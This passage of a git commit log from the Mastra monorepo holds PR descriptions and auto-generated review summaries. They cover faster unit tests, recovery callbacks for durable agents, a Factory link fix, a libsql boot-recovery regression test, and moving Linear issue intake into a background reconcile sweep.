`QUEUE_WAIT_MS`. The missing-thread test waits for the dropped-delivery
audit record before it asserts that no message was sent.
- `mastracode/tui/src/tui/handlers/tool.test.ts`: `flushParser` advances
Vitest fake timers past the render-coalescing interval. With real
timers, it keeps the existing timeout wait. The compact-shell streaming
test uses fake timers and restores real timers in cleanup.
- `packages/core/src/agent/durable/__tests__/restart-agreement.test.ts`:
The T26 `echoContext` post-park delay drops from 200 ms to 20 ms. The
T55 `loggedStep` delay drops from 100 ms to 10 ms.
- `workflows/_test-utils/src/domains/abort.ts`: The immediate-abort
setup wait drops from 1 s to 50 ms. The in-step and nested-workflow
waits drop from 5 s to 50 ms. Comments now state that the in-step test
does not trigger an abort.

Diff size: 7 files, 85 lines added, 38 lines removed. No exported
declarations changed.

## Validation

Results below are reported by the PR author. This review did not run
them.

- Core unit lane: 25,247 passed and 0 failed on both the base and this
branch. Wall time fell from 378.4 s to 339.7 s. `clearAllMocks` time
fell from 37.6 s to 2.1 s.
- `workflow.test.ts`: runtime fell from 79 s to 24 s.
- `evented-workflow.test.ts`: mock creation fell from 722,585 to 579.
- Inngest engine suite: 222 passed and the same 5 failures on both the
base and this branch.
- `workflows/_test-utils`: 581 of 581 passed.
- oxlint and prettier: reported clean.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: yoko-reviewer[bot] <324360165+yoko-reviewer[bot]@users.noreply.github.com>
2026-11-12 21:05:07 -07:00
Tyler Barnes
7b9130f50e
test(core): shorten drain, poll and post-save waits in core unit tests (#29134)
## What

Some core unit tests wait for real time that only exists to bound
production work: shutdown drains, a storage poll, and a short pause
after saving messages. This change makes those three waits short in core
unit tests. Production values are unchanged.

- `packages/core/src/utils/test-waits.ts` adds `waitMs(defaultMs,
testMs)`. It returns `testMs` only when `MASTRA_TEST_FAST_WAITS=1`,
which is set only in core's `vitest.config.ts` (unit project env).
Everywhere else, including production, it returns `defaultMs`.
- Shutdown drain budget (`Mastra.stopWorkers` / `shutdown`,
`PullTransport` drain): 5000ms → 50ms in tests. Restart tests stop
workers mid-step on purpose, so they used to wait the full 5s every
time.
- Pause after saving messages (`processors/memory/message-history.ts`):
10ms → 1ms in tests.
- Resume snapshot poll (`workflows/utils.ts`): 25ms → 1ms in tests.
- `thread-lease-loss-abort.test.ts` skips the `fs` engine variant, which
runs on the same normal execution path as the `normal` variant (same `{
skip: ['fs'] }` other scenario files already use). No lease coverage is
lost.

Five files assert on these waits, so they set `MASTRA_TEST_FAST_WAITS=0`
for their run and keep production timing:
- `shutdown.test.ts`, `restart-active-runs-ownership.test.ts`,
`recover-all-durable-agents.test.ts`: they assert on the drain budget.
- `signals-pending-cancellation.test.ts`,
`background-task-call-id-reuse.scenario.test.ts`: their message order
depends on the 10ms pause between saves. That dependency is a product
issue and will be fixed separately; this PR does not change it.

No assertions were changed.

## Numbers

Full core unit lane on a 5 vCPU / 16 GB container like the CI runner,
Node 24.22.1, shared module cache (#29131):

| | lane wall | test time |
|---|---|---|
| Before | 455s | 1,563s |
| After | 382s / 414s | 1,359s / 1,493s |

Rough split of the saving: drain ~55s, post-save pause ~29s, resume poll
~24s, lease-loss `fs` skip ~36s of worker time.

## Testing

- Two full core lane runs after the change: the only failures are the
three durable-agent tests #29065 broke (fixed on main by #29081). One
run also had one failure in `abort-during-tool-execution` that passes
5/5 alone with the knob on and off, and that failed once in 27 saved
runs; it isn't on any changed path.
- `thread-lease-loss-abort.test.ts` 3 runs at 4 workers: 120 passed, 48
skipped (the `fs` variant), all green.
- `tsc --noEmit`, oxlint and prettier clean on the changed files.

Stacked on #29131 (core unit tests share one module cache per worker).
It will be retargeted to main once that merges.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5
Some core tests wait longer than they need to. This change shortens
selected waits during core unit tests while keeping normal wait times
outside that setting.

## Summary
- Adds `waitMs(defaultMs, testMs)` in
`packages/core/src/utils/test-waits.ts`. It returns `testMs` only when
`MASTRA_TEST_FAST_WAITS` is `'1'`. Otherwise, it returns `defaultMs`.
- Sets `MASTRA_TEST_FAST_WAITS: '1'` in the shared `unitEnv` in
`packages/core/vitest.config.ts`. Both core unit-test projects use this
environment.
- When fast waits are on:
- Default shutdown drain timeout changes from 5,000 ms to 50 ms in
`stopWorkers()` and `shutdown()` (`packages/core/src/mastra/index.ts`).
- Default pull-transport drain timeout changes to 50 ms
(`packages/core/src/worker/transport/pull-transport.ts`).
- Message-history pause after save changes from 10 ms to 1 ms
(`packages/core/src/processors/memory/message-history.ts`).
- Resume-snapshot poll changes from 25 ms to 1 ms in
`waitForSuspendedSnapshot` (`packages/core/src/workflows/utils.ts`).
- Explicit `drainTimeout` values are not changed. They still pass
through `assertDrainTimeout`.
- Sets `MASTRA_TEST_FAST_WAITS` to `'0'` in five test files that depend
on production timing:
  - `signals-pending-cancellation.test.ts`
  - `background-task-call-id-reuse.scenario.test.ts`
  - `recover-all-durable-agents.test.ts`
  - `restart-active-runs-ownership.test.ts`
  - `shutdown.test.ts`
- Restores stubbed environment values after those suites run.
- Changes `thread-lease-loss-abort.test.ts` so the lease-loss tests use
`describeForAllEngines` and skip the `fs` engine.
- Adds a patch changeset for `@mastra/core`.

**Changes:** 13 files; 82 additions and 12 deletions.
**CI, build, and test results:** not available. The PR description
reports local runs, including unit-lane wall times of 455 s before and
382–414 s after. It also reports failures attributed to `#29065`. These
figures are author-reported and were not verified against completed
checks on the current head.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
Co-authored-by: yoko-reviewer[bot] <324360165+yoko-reviewer[bot]@users.noreply.github.com>
2026-11-12 21:05:07 -07:00
Tyler Barnes
ce3be915c9
test(core): share the module cache across core unit test files (#29131)
## What

Core's unit tests run in two vitest projects:

- `unit:packages/core`: 1,418 files with `isolate: false`. Each worker
loads core once instead of re-importing it for every test file.
- `unit:packages/core-isolated`: 121 files that still run isolated, each
listed in `packages/core/vitest.isolated-tests.ts` with its reason
(`vi.mock`, env read at import, global stubs such as `fetch` or
`process.on`, `vi.resetModules`, or a heap assertion).

No test file or assertion changes.

## Why

Most of core's unit-test worker time went to importing core again for
every file. Sharing the module cache cuts import time from ~1,050s to
~210s of worker time, and the full core lane from 780s to 433–505s
(median ~465s, −40%), measured on CI's machine shape (5 vCPU, Node
24.22.1).

## How leaks are kept out

The shared test setup restarts its deterministic UUID counter for every
test, so every file creates runs with ids like `…0001`. Core keeps a few
process-wide maps keyed by run id (run registry, thread-stream runtime,
run lease fences). With isolation off, a later file could find an
earlier file's entry for the same id.

- `packages/core/vitest.no-isolate-setup.ts` runs after each file in the
shared project and clears those maps through existing reset hooks, plus
a new test-only `__resetRunLeaseFencesForTests`. Imports are lazy so
files using `vi.mock` keep their load order.
- `packages/_test-utils/src/setup.ts` creates one `AsyncLocalStorage`
per worker instead of one per file.
- `packages/core/vitest.config.ts` points anyone adding a mock or
env-setting test at the isolated list, and says to rerun a
shared-project failure alone or with `--sequence.shuffle.files` before
blaming the file.

## Testing

- All 1,539 core files under 9 shuffled file orders: only failures are
the 3 durable-agent tests fixed on main by #29081 (fix for #29065
stubs), one known heap-assertion file (now isolated) and one
load-sensitive real-timer test (`signals-claimed-ownership`, passes
15/15 alone).
- Live ref'd timers per worker stay bounded (max 132, no monotonic
growth).
- `tsc --noEmit` clean.

This is a one-week CI trial: retry counts on core unit tests are watched
for a week before calling it done.

Stacked on #29100 (stop sleeping through retry backoff and lease waits
in unit tests), which it builds on.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Most core unit tests now share one worker, so the code they load is
reused between files. This makes the core test lane faster. Tests that
change global state, mock modules, or depend on timing still run in
their own isolated project.

## Changes

- Splits core unit tests into two Vitest projects in
`packages/core/vitest.config.ts`:
- `unit:packages/core` sets `isolate: false`. It excludes end-to-end
tests and isolated tests. It uses `vitest.no-isolate-setup.ts`.
- `unit:packages/core-isolated` runs the files in `isolatedTestFiles`
with the standard setup.
- Defines shared empty API-key environment values in `vitest.config.ts`
for both projects.
- Adds `isolatedTestFiles` in `packages/core/vitest.isolated-tests.ts`.
The file contains 140 lines that match a `.test.ts` search. The PR
objectives state that 121 files stay isolated. The raw summary states
141 paths. This count does not match the objectives and is not
reconciled.
- Adds `vitest.no-isolate-setup.ts` for the shared project. Before each
test, it sets the UUID store counter to a range assigned to the current
file. After each file, it resets the global run registry, registry
activity, execution fences, thread-stream runtime, and run-lease fences.
- Changes `uuidStore` in `packages/_test-utils/src/setup.ts`. It reuses
one `AsyncLocalStorage` per worker. The instance is stored on
`globalThis.__mastraTestUuidStore` and created only when that property
is nullish.
- Adds `__resetRunLeaseFencesForTests()` in
`packages/core/src/agent/run-lease-fence.ts`. It clears all registered
run lease checks. The function is for tests only.

The diff changes 5 files, with 252 lines added and 8 removed.

## Verification

- The PR objectives report timing results and a nine-order shuffled run
of all core files. These results are not verified in this review.
- No CI results are available for the current head.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-12 21:05:07 -07:00
Tyler Barnes
51c340a782
test(core,mcp): stop sleeping through retry backoff and lease waits in unit tests (#29100)
## What this does

About 390 s of core unit-test time was spent really sleeping through
retry backoff: provider retry-after waits (up to 30 s each), `waitDelay`
backoff, `p-retry` delays, and `fetchWithRetry`'s own `setTimeout`. This
makes those waits instant in tests, while the files that test the delays
themselves keep real timing.

- `packages/_test-utils/src/setup.ts` (the shared core test setup) mocks
`waitDelay` globally with a version that yields one microtask and still
honours `abortSignal`. It also sets `p-retry`'s
`minTimeout`/`maxTimeout` to 0, because the AI SDK v5 stream path
retries through `p-retry` and never calls `waitDelay`.
- Files that assert on the delay itself opt out at the top of the file.
For `waitDelay`, that's `vi.unmock('<path>/utils/retry-after')`, in all
seven: model-retry-after, stream-error-retry-processor,
llm-execution-step, thread-lease-loss-abort, fetchWithRetry, utils, and
download-assets. For `p-retry`, it's
`vi.mock('<path>/core/node_modules/p-retry', importOriginal =>
importOriginal())`, in the two that also need p-retry's real backoff
(model-retry-after, thread-lease-loss-abort); `vi.unmock` on that path
leaves p-retry's lazy import unresolved under fake timers. The comments
in `packages/_test-utils/src/setup.ts` say the same.
- `signal-messages.test.ts` advances fake timers through its post-abort
teardown wait instead of waiting 30 s.
- **Product change:** `fetchWithRetry`
(`packages/core/src/utils/fetchWithRetry.ts`) now waits through the
shared `waitDelay` helper instead of its own `setTimeout`. Retry timing
and abort behaviour are unchanged, and it lets the global test mock
reach attachment downloads (`attachment-download-recovery` 60 s → 3.1
s). Changeset: `@mastra/core` patch.

No test is removed or skipped, and no assertion changes.

## Numbers (local, the 127–128 core files touching retry/backoff)

| | wall | test time | passed |
|---|---:|---:|---:|
| before | 792 s | 686.8 s | 3413 |
| after | 661 s → 153 s on the full lever stack | 546.1 s | 3413 (3419
with download-assets' opt-out tests counted) |

Largest single wins: an evented test 60 s → 0.75 s (two 30 s retry-after
waits), signal-messages 30 s → 1 s, per-file `waitDelay` users 123 s →
12 s. Total ≈ 390 s of test time, about 8.5% of Affected UNIT worker
time on a core PR.

## Background-task lease tests

`BackgroundTaskManager` rejects leases under 3s and floors its heartbeat
and stale-recovery delays at 1s, so tests that prove a lease expires
wait several real seconds per case. An internal, test-only env var
`MASTRA_BACKGROUND_TASKS_MIN_LEASE_MS` can only lower that minimum. It's
read when each manager is constructed, not at import, and the 1s floor
scales down with it (minimum / 3). With the env unset, every value is
the same as before: a 3000ms minimum, a 1000ms floor, and the same error
text. `manager-owners.test.ts` and the mcp
`server-tasks-background.test.ts` (plus the child server it spawns) run
on a 600ms lease. `manager-lifecycle.test.ts` still asserts the real
3000ms rejection.

- mcp `server-tasks-background.test.ts`: 198.7s → 81.8 / 79.8 / 78.6s,
48/48 each run
- core `manager-owners.test.ts`: 44s → ~11s, 83/83 (with lifecycle) over
3 runs

## Test plan

- [x] Retry/backoff file set green before and after (above)
- [x] Opt-out files still see real delays (their delay assertions pass)
- [x] fetchWithRetry tests pass with real timing
- [ ] CI: Affected UNIT green




<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

This PR makes unit tests run faster. Tests skip most real waiting, and
tests that check real delays still use them. Background-task tests can
use a shorter lease through a test-only setting. The production defaults
do not change.

## Changes

- `fetchWithRetry` (`packages/core/src/utils/fetchWithRetry.ts`) uses
the shared `waitDelay` helper for retry backoff. After the delay, it
checks the abort signal and throws the abort reason if the signal was
aborted.
- The shared Vitest setup (`packages/_test-utils/src/setup.ts`) mocks
core's `waitDelay` to yield one microtask. The mock still honors an
already-aborted signal. It also sets core's `p-retry` `minTimeout` and
`maxTimeout` to `0` and `randomize` to `false`.
- Setting `MASTRA_TEST_REAL_RETRY_DELAYS=1` makes the setup use the
original modules. The `e2e:packages/core` and `e2e:packages/evals`
Vitest projects set this variable.
- Tests that assert real delay behavior unmock `retry-after`. These
files include `model-retry-after.test.ts`,
`thread-lease-loss-abort.test.ts`, `download-assets.test.ts`,
`llm-execution-step.test.ts`, `stream-error-retry-processor.test.ts`,
`utils.test.ts`, and `fetchWithRetry.test.ts`.
- `signal-messages.test.ts` uses fake timers to advance through the
30-second post-abort teardown wait. It restores the timer substitution
in a `finally` block.
- `retry-after.e2e.test.ts` adds checks that `waitDelay(50)` and a
one-retry `p-retry` run take at least 45 ms.
- `BackgroundTaskManager`
(`packages/core/src/background-tasks/manager.ts`) reads the internal
`MASTRA_BACKGROUND_TASKS_MIN_LEASE_MS` override when a manager is
constructed. The override applies only when the value is finite,
positive, and below 3000 ms. The minimum lease defaults to 3000 ms. The
heartbeat and stale-recovery floor is one third of the minimum, which is
1000 ms by default.
- `manager-owners.test.ts` sets the minimum lease to 600 ms in
`beforeAll`. It derives the heartbeat interval from that value.
- The MCP background-task tests (`server-tasks-background.test.ts` and
`background-tasks-child.ts`) use a 600 ms lease. The lease reaches child
servers as a command-line argument. The `Probe` fixture gains a `hold`
promise. The open-task limit test uses it to keep tasks open until the
limit check completes.
- Changesets:
- `fetch-with-retry-wait-delay.md` declares a patch for `@mastra/core`.
- `full-humans-glow.md` declares a patch for `@mastra/core` only. The
commit message says `@mastra/mcp` was removed from this changeset.

## Validation

- The author reports 3,413 tests passed before and after the change in
the measured core file set. The count is 3,419 when `download-assets`
opt-out tests are included.
- The author reports these local timings:
  - `signal-messages.test.ts`: 30 seconds to 1 second.
  - `manager-owners.test.ts`: 44 seconds to about 11 seconds.
- The author reports that `manager-lifecycle.test.ts` still checks the
real 3000 ms rejection.
- Current-head test results: not available.
- CI status: not available. The "Affected UNIT green" check is unchecked
in the PR objectives.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-12 21:05:06 -07:00
mastra-platform[bot]
0278a5ce83
fix(core): call agent defaultOptions lifecycle callbacks on recovered durable runs (#30278)
> Opened by @arthurfiorette

`DurableAgent.recover()` (and therefore `recoverActiveRuns()` and
`recovery: { durableAgents: 'auto' }`) wired only the callbacks passed
to `recover()` into the recovered stream. The agent's
`defaultOptions.onFinish` / `onError` / `onAbort` were never called,
unlike a normal `stream()`, so per-turn bookkeeping was lost for exactly
the turns that crashed.

Recovered runs now resolve the agent's default options and call its
`onFinish` / `onError` / `onAbort` first, then any callbacks passed to
`recover()`. Both run, rather than the caller's replacing the default,
because `recoverActiveRuns()` and automatic recovery always pass their
own internal callbacks.

Test plan:
- New `recover-default-callbacks.test.ts` crashes a run mid-model-call,
recovers it, and asserts `defaultOptions.onFinish` fires in the
recovered process (it fails without the fix).
- All `durable/__tests__/recover*` tests pass; `tsc --noEmit` is clean.

Fixes #30263

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

When an AI agent run crashes and is later recovered, the agent's default
"finished", "error", and "aborted" callbacks did not run. This change
makes them run again during recovery, so the app's bookkeeping still
happens for those runs.

## Summary

Recovered durable runs now call the agent's `defaultOptions.onFinish`,
`onError`, and `onAbort` callbacks. The default callbacks run first.
Callbacks passed to `recover()` run after them. This matches the
behavior of a normal `stream()` call. Issue `#30263` reports the gap.

### Changes

- **`packages/core/src/agent/durable/durable-agent.ts` (+20/-3):** The
recovered stream wires composed callbacks. Each composed callback calls
the agent default, then the matching callback from `recover()`. The
error and abort handlers still schedule auto-cleanup.
-
**`packages/core/src/agent/durable/__tests__/recover-default-callbacks.test.ts`
(+70, new file):** The test gates the first model generation,
checkpoints the run, and restarts it. It then checks that the recovered
run:
  - has no stream errors,
  - returns `"answer"`,
  - invokes the default `onFinish` for generation 2.

  `afterEach` releases remaining gates and stops tracked scenarios.
- **`.changeset/quiet-owls-recover.md` (+5, new file):** Adds a patch
changeset for `@mastra/core`.

### Scope

- The change covers `recover()`, `recoverActiveRuns()`, and `recovery: {
durableAgents: 'auto' }`. These paths all reach the same recovery
callback wiring.
- No exported or public declarations change.

### Verification

- The author reports that the new test passes, that all
`durable/__tests__/recover*` tests pass, and that `tsc --noEmit` is
clean. These results are author-reported. CI results for the current
head are not available in this review.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 04:02:48 +00:00
mastra-platform[bot]
038453afe3
fix(factory): link Connect tools "Manage" button to the project's Connect page (#30262)
> Opened by @DSchau

## Summary

In Factory **Settings → Mastra Connect tools**, the **Manage in Mastra
Platform** button opened the bare Platform home
(`https://projects.mastra.ai`), so users had to find the right project
and its Connect settings themselves.

It now deep-links to the Connect settings of the Factory's Platform
project:

- `GET /web/integrations/platform/connect-tools` now returns `projectId`
(the `MASTRA_PROJECT_ID` it already lists connections for) alongside
`connections`.
- The UI links to `/orgs/<orgId>/projects/<projectId>/settings/connect`
using the signed-in user's organization. When no organization is known
(e.g. a local Factory without auth), it uses
`/org/projects/<projectId>/settings/connect`, and Platform's
`OrgRedirect` sends that to the user's current organization.

## Test plan

- `factory`: `routes.test.ts` asserts the route returns `projectId` (9/9
pass)
- `factory-ui`: `ConnectToolsSection.msw.test.tsx` covers the
org-specific link and the `/org/` fallback (4/4 pass)
- `factory-ui` typecheck passes; oxfmt clean

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The Factory settings page had a button that sent users to the
general Mastra Platform page. Now the button sends users to the Connect
settings for the exact Platform project. This saves users a step.

## Overview

This change updates the **Manage in Mastra Platform** button in Factory
Settings → Mastra Connect tools. The button now links to the Connect
settings page for the Platform project. The connect-tools API now
returns the project ID with the connection list.

## Changes

- **Route response**
(`mastracode/factory/src/integrations/platform/connect/routes.ts`): The
connect-tools route returns `projectId` next to `connections`.
- **Route tests** (`routes.test.ts`): Tests expect `projectId: 'proj_1'`
when listing project connections. They also expect it when auth is
disabled and the catalog is unavailable.
- **Client service** (`platformConnect.ts`):
- Adds the `ConnectTools` interface with `projectId` and `connections`.
- Changes `listConnectTools` to return `ConnectTools` instead of
`ConnectToolConnection[]`.
- Adds `platformProjectConnectUrl(projectId, organizationId?)`. It
builds `/orgs/<orgId>/projects/<projectId>/settings/connect` when the
organization ID is known. Otherwise it builds
`/org/projects/<projectId>/settings/connect`. Both IDs are URL-encoded.
- **UI component** (`ConnectToolsSection.tsx`):
  - Reads `connections` and `projectId` from the query data.
- `ManageLink` requires a project ID. It gets the organization ID from
Factory auth and links to the project-specific URL. It no longer links
to the general `MASTRA_PLATFORM_URL`.
- **UI tests** (`ConnectToolsSection.msw.test.tsx`):
  - The mocks include a project ID.
- The attached-connections case checks the organization-specific project
URL.
  - The empty-connections case checks the fallback `/org/` project URL.
- **Changeset** (`.changeset/sharp-links-connect.md`): Adds a patch
entry for `@mastra/factory`.

## Verification

The author reports these results. I did not run them:

- `factory` `routes.test.ts`: 9/9 pass.
- `factory-ui` `ConnectToolsSection.msw.test.tsx`: 4/4 pass.
- `factory-ui` typecheck passes and formatting with oxfmt is clean.

## Scope

Six files changed. There are 55 added lines and 27 removed lines. No
exported public declarations change outside the `platformConnect.ts`
service in `factory-ui`.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 01:11:18 +00:00
NikAiyer
956143f6bd
test(libsql): guard live-run boot recovery (#30264)
Adds a two-process regression test for boot recovery with both durable
and evented agents. A peer blocks in its first tool while a second
Mastra instance opens the same LibSQL database, starts workers,
discovers the running agent, and calls `recoverAllDurableAgents()`. The
test checks that recovery skips the healthy owner, makes zero model
calls in the booting replica, and lets the original peer commit all
three steps. Reuses the T81 peer and IPC gates with no added sleeps or
skipped engine cells.

Run locally with `pnpm build:core`, then `pnpm --filter @mastra/libsql
exec vitest run
src/__tests__/cross-process/xproc-boot-recovery.test.ts`.

Three consecutive local runs passed, followed by another passing run
after restoring the red control:

```text
                   durable    evented    result
Green run 1        1901ms     1632ms     2 passed (2)
Green run 2        3186ms     1605ms     2 passed (2)
Green run 3        1399ms     2423ms     2 passed (2)
Restored green     1451ms     1798ms     2 passed (2)
```

For the red control, temporarily changed the recovery branch in
`packages/core/src/agent/durable/execution-fence.ts` from
`backend.tryRecover(executionId, args.untrackedRun)` to
`backend.tryTakeover(executionId)`, rebuilt core, and ran the same test.
Both engines failed on the intended assertions:

```text
Test Files  1 failed (1)
     Tests  2 failed (2)

Both durable and evented:
Expected: { agents: 1, recovered: 0, succeeded: 0, failed: 0, skipped: 1 }
Received: { agents: 1, recovered: 1, succeeded: 1, failed: 0, skipped: 0 }

boot recovery must not call the model: expected 4 to be +0
Original peer commits: expected [1] to deeply equal [1, 2, 3]
the peer finishes without work from the booting replica: expected 4 to be +0
```

The bypass was reverted and core rebuilt before the final green run.
There are no production-code changes and no changeset. Formatting,
type-aware lint, and `git diff --check` pass. `pnpm --filter
@mastra/libsql exec tsc --noEmit` is blocked by five existing errors in
unrelated fixtures: one in `dead-claim-pg-agent.ts:10` and four in
`foreach-billing-workflow.ts`.

Fixes COR-1492
Ref COR-1365


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: The computer runs a task on one program. A second copy of the
program starts and must not repeat that task. This PR adds a test that
checks this rule. The second copy must skip the task, and the first copy
must finish it.

## Summary

This PR adds one new test file:
`stores/libsql/src/__tests__/cross-process/xproc-boot-recovery.test.ts`
(113 lines added, 0 removed). It contains no production-code changes and
no changeset.

The file defines a cross-process regression test for boot recovery. It
runs once for `durable` and once for `evented` agents. Each run has the
same flow:

1. **Setup.** `beforeEach` sets `MASTRA_AGENT_THREAD_LEASE_TTL_MS` to
`1500`. It then creates the test environment with workers enabled.
2. **Start the peer.** The test spawns a peer process from
`fixtures/t81-peer.ts`. It waits until the peer reports `blocked` at
step 1.
3. **Boot a replica.** The test opens the same LibSQL database from a
second `Mastra` instance. The replica registers a step agent with three
steps. It uses `MockMemory` and workers. Recovery is set to
`durableAgents: 'auto'`.
4. **Discover the run.** The test calls `listActiveRuns()`. It expects
exactly one active run with the peer's `runId`.
5. **Run recovery.** The test calls `recoverAllDurableAgents()`. It
expects `{ agents: 1, recovered: 0, succeeded: 0, failed: 0, skipped: 1
}`. It uses soft assertions for this result.
6. **Check model calls.** The test expects the replica's model call
count to be `0`.
7. **Release the peer.** The test sends `release` and reads the peer
result. It expects no errors. It expects `commit` events for steps `1,
2, 3`. It expects the peer to exit with code `0` and no signal.
8. **Teardown.** `afterEach` releases and kills the peer. It then shuts
down Mastra, closes storage, cleans up the environment, and restores
stubbed environment variables.

The test links to COR-1492 and COR-1436 in a code comment. The comment
says a running snapshot can belong to a healthy replica. Recovery must
find that run without running its tools again.

## Verification

The PR author reports:
- Four passing local runs of `pnpm --filter @mastra/libsql exec vitest
run src/__tests__/cross-process/xproc-boot-recovery.test.ts`, after
`pnpm build:core`.
- A temporary red control caused both engine tests to fail on the
intended assertions. The control was then reverted.
- Formatting, type-aware lint, and `git diff --check` pass.
- `pnpm --filter @mastra/libsql exec tsc --noEmit` reports five errors
in unrelated fixtures.

These results come from the author's report. This review did not run the
tests.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: review <review@local>
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 16:59:31 -08:00
Damien Schneider
094452688e
fix(factory): make the Linear issue list a pure read (#29998)
**─────── TLDR ───────**
> Loading a Linear board in Factory no longer files cards, so the issue
list returns at read speed instead of waiting on every issue's rules.

`GET /web/linear/issues` awaited a full Linear rules ingest before
responding: legacy card copy, the project's whole card list, then a rule
evaluation and commit per issue, one after another. In production that
averaged ~78s (p99 126s) across ~200 requests per 5 minutes. It was also
the only path that gave a new Linear issue its card, for both direct and
Platform Linear, so issues were only filed while someone had a board
open. The Linear issue reconciler now does that filing in the
background, and the route only reads.

### Behavior changed

someone opens or polls a Linear board
&nbsp;&nbsp;├─ **was** — waits for every listed issue to go through the
rules
&nbsp;&nbsp;└─ **now** — gets the list back; nothing is written

a new active issue lands in a source bound to a project
&nbsp;&nbsp;├─ **was** — carded within 30s, only while a board tab is
open
&nbsp;&nbsp;└─ **now** — carded on the next reconcile sweep, default 5
min, no tab needed

a custom `issueObserved` rule on an already-carded issue
&nbsp;&nbsp;├─ **was** — re-fired on update only while a board tab
polled
&nbsp;&nbsp;└─ **now** — re-fires on update from the sweep

an uncarded issue on screen before the sweep reaches it
&nbsp;&nbsp;└─ **unchanged** — still shows as an intake candidate on the
board

### Decisions

- **discovery runs inside the existing Linear reconciler** — one worker
and lease for direct and Platform, like the GitHub sweep; a separate
worker is easy if 5 min is too slow
- **5 listing calls per project per run** — each call returns up to 30
of the most recently updated active issues per bound source, so one
bound source means 150; the board loads 30 unless someone clicks Load
more
- **sweep files as `factory-rule-dispatcher`** — the actor the
reconciler's close replay already uses; first-sight cards no longer
carry the browsing user

### Watch

> [!WARNING]
> `MASTRACODE_LINEAR_ISSUE_RECONCILE_ENABLED=false` now <mark>also turns
off first-sight Linear intake</mark>, since discovery rides the
reconcile sweep. The Platform event worker's cross-tenant guard is
unchanged: discovery only lists sources an org selected and bound to its
own project, the same set the route used to ingest.

### Not verified

- [ ] the sweep against real Linear and the real Platform API — tests
stub only their HTTP

---

> ██████████████████ **tests** `+380 −121`
> █████████ **source** `+177 −49`
> █ **changeset** `+9`



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Opening the Linear issue list no longer writes data. A background job
now finds new Linear issues and creates Factory cards for them.

## Summary

This change moves Linear issue discovery and filing out of the `GET
/web/linear/issues` route. Discovery now runs in the existing Linear
issue reconciler sweep.

The issue list route only reads. It no longer calls the removed
`ingestFactoryIssues` callback. It selects sources and returns issue
payloads.

The reconciler sweep now runs two steps:
- Existing issue reconciliation.
- Intake discovery, using `createLinearIntakeDiscovery`.

The sweep returns a combined summary. Its `observed` count includes
discovery results. Its failure counts and error lists combine both
steps.

Intake discovery works as follows:
- Groups factory projects by organization.
- Selects enabled Linear sources.
- Matches source bindings to projects.
- Gets one fresh access token per organization.
- For each bound project, lists up to
`LINEAR_INTAKE_DISCOVERY_MAX_PAGES` (five) pages of issues.
- Keeps only issues whose source belongs to that project's bindings.
- Converts issues to ingress records with `issueToIngress`.
- Sends non-empty batches to Linear rules.
- Records organization-level and project-level failures and their
errors.

The generic issue reconciler's `createIssueReconciler` now catches
`listShared` failures per project. It records the project ID and error
message, then continues with the next project. Before this change, one
storage error ended the whole sweep.

The `issueObserved` rule now runs during the sweep. It no longer runs
during a board read.

`attachLinearIssueReconciler` now accepts `loadConnection`,
`getFreshAccessToken`, and the `intake` storage. The `issueToIngress`
function moved from the reconciler file to the new intake discovery
file.

The Linear integration no longer attaches `attachLinearRules` as
`ingestFactoryIssues`. The platform Linear route builder no longer
receives `ingestFactoryIssues`. Event-rule ingestion still uses the
worker path.

The `scopeSourceIdsToProject` and issues route documentation now
describe discovery and project filtering. The event worker documentation
names reconcile-sweep discovery as the first-observation path.

A changeset adds a patch release for `@mastra/factory`. It documents
that opening a board no longer creates cards. It also documents that the
background sweep creates cards for new issues in project-bound sources
within the sweep interval (five minutes by default), including when the
board is closed.

### Tests

- New `intake-discovery.test.ts` covers:
  - Board views do not file work.
  - Discovery files issues from eligible bindings.
  - Repeated unchanged sweeps do not file duplicates.
  - Unbound or unselected sources are skipped.
  - Disabled intake is respected.
  - Page limits apply per project.
- Filing continues for other projects when reading one project's cards
fails.
- An expired connection that needs OAuth does not block filing for
another organization.
- Existing reconciler, routes, and platform Linear integration tests
were updated. The platform tests cover reconcile sweeps with `intake`
storage and assert that `issueObserved` fires during the sweep.
- Test results from a completed run on the current head: not available.
- The author states that the sweep was not verified against real Linear
or the Platform API. Tests stub HTTP.

### Behavior changes to note

- Setting `MASTRACODE_LINEAR_ISSUE_RECONCILE_ENABLED=false` also
disables first-sight Linear intake. The changeset documents this.
- Issues not yet reached by the sweep remain visible as intake
candidates in the issue list.
- Discovery is limited to sources that an organization selected and
bound to its own project.
- A card-read failure for one project no longer ends the sweep.

### Public API changes

